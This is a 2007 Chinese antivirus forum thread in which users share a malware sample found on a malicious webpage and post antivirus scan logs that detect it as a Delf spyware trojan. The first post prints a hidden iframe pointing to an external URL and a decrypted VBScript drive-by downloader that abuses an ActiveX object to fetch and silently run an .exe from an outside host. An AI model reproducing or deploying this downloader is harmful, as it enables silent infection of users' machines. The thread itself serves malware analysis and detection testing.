绅博样本区的毒网里面捉的[MD5: F090EB]

dikex

那有毒页面挺隐蔽的

<IFRAME border=0 src="/www/soft_3.htm" frameBorder=0 width=510 height=72></IFRAME>



转到

<IFRAME border=0 align=left marginWidth=0 marginHeight=0 src="http://www.jh33.com.cn/images/_vti_cnf/681.htm&;quot; frameBorder=no width=0 scrolling=no height=0></IFRAME>

解密得：

1. 
   
2. Dim hcGVnIbVLqzAyEohoTgfvyCtShaKsuPrwKUpDqcEaZBiAlpQq
   
3. On Error Resume Next
   
4. aVKeV="http://www.ying68.cn/reg/images/123.exe"
   
5. Set zOY = document.createElement("object")
   
6. zOY.SetAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
   
7. A1="Microsoft"
   
8. A2="."
   
9. A3="XMLHTTp"
   
10. OOBnPl=A1&A2&A3
    
11. Set WkS = zOY.CreateObject(OOBnPl,"")
    
12. WkS.Open "GET", aVKeV, False
    
13. WkS.Send
    
14. ExeName="123.exe"
    
15. VbsName="MOX.vbs"
    
16. Set FPI = zOY.createobject("Scripting.FileSystemObject","")
    
17. Set sTmp = FPI.GetSpecialFolder(2)
    
18. ExeName=FPI.BuildPath(sTmp,ExeName)
    
19. VbsName=FPI.BuildPath(sTmp,VbsName)
    
20. A="A"
    
21. AA="d"
    
22. AB="odb"
    
23. AAA="."
    
24. BBB="stream"
    
25. AdM=A&AA&AB&AAA&BBB
    
26. Set Dpt = zOY.createobject(AdM,"")
    
27. Dpt.type=1
    
28. Dpt.Open
    
29. Dpt.Write WkS.ResponseBody
    
30. Dpt.Savetofile ExeName,2
    
31. Dpt.Close
    
32. Dpt.Type=2
    
33. Dpt.Open
    
34. Dpt.WriteText "on error resume next"&vbCrLf&"Set Shell = CreateObject(""Wsc"" & ""rip"" & ""t.Shell"")"&vbCrLf&"Shell.Run ("""&ExeName&""")"&vbCrLf&"Set Shell = Nothing"
    
35. Dpt.Savetofile VbsName,2
    
36. Dpt.Close
    
37. sRun="Shell.Appli"
    
38. Set Run = zOY.createobject(sRun&"cation","")
    
39. Run.ShellExecute VbsName,"","","Open",0

复制代码

aerbeisi

Trojan-Spy.Win32.Delf.ps

The EQs

Scan performed at: 2007-6-7 1:46:35
Scanning Log
NOD32 version 2313 (20070606) NT
Command line: C:\Documents and Settings\EQ2\桌面\样本.rar
Operating memory - is OK

Date: 7.6.2007  Time: 01:46:39
Anti-Stealth technology is enabled.
Scanned disks, folders and files: C:\Documents and Settings\EQ2\桌面\样本.rar
C:\Documents and Settings\EQ2\桌面\样本.rar ?RAR ?123.exe - probably a variant of Win32/Spy.Delf.PG trojan
Number of scanned files: 2
Number of threats found: 1
Number of files cleaned: 1
Time of completion: 01:46:40 Total scanning time: 1 sec (00:00:01)

kp2006

The requested URL http://bbs.kafan.cn/attachment.php?aid=83187 is infected with Trojan-Spy.Win32.Delf.ps virus

mofunzone

Starting the file scan:

Begin scan in 'C:\Documents and Settings\Administrator\My Documents\样本.rar'
C:\Documents and Settings\Administrator\My Documents\
  样本.rar
    [0] Archive type: RAR
    --> 123.exe
        [DETECTION] Is the Trojan horse TR/Agent.23673.2
        [WARNING]   Infected files in archives cannot be repaired!
        [INFO]      The file was deleted!

hkt988

deleted: Trojan program Trojan-Spy.Win32.Delf.ps        File: D:\下载文件夹\样本.rar\123.exe/UPX

taihuxian

Virus: Trojan-Spy.Win32.Delf.ps

Virus found while downloading Web content.

Address: bbs.kafan.cn

fanrubin

诺顿1个

tracydk

woai_jolin

2007/6/7 10:10:43        Scanning Log
2007/6/7 10:10:43        Version of virus signature database: 2314 (20070606)
2007/6/7 10:10:43        Date: 7.6.2007  Time: 10:10:43
2007/6/7 10:10:43        Scanned disks, folders and files: E:\病毒测试\
2007/6/7 10:10:44        E:\病毒测试\样本.rar - probably a variant of Win32/Spy.Delf.PG trojan - deleted - quarantined
2007/6/7 10:10:44        E:\病毒测试\样本.rar &raquo; RAR &raquo; 123.exe - probably a variant of Win32/Spy.Delf.PG trojan
2007/6/7 10:10:44        Number of scanned files: 11
2007/6/7 10:10:44        Number of threats found: 1
2007/6/7 10:10:44        Time of completion: 10:10:44  Total scanning time: 1 sec (00:00:01)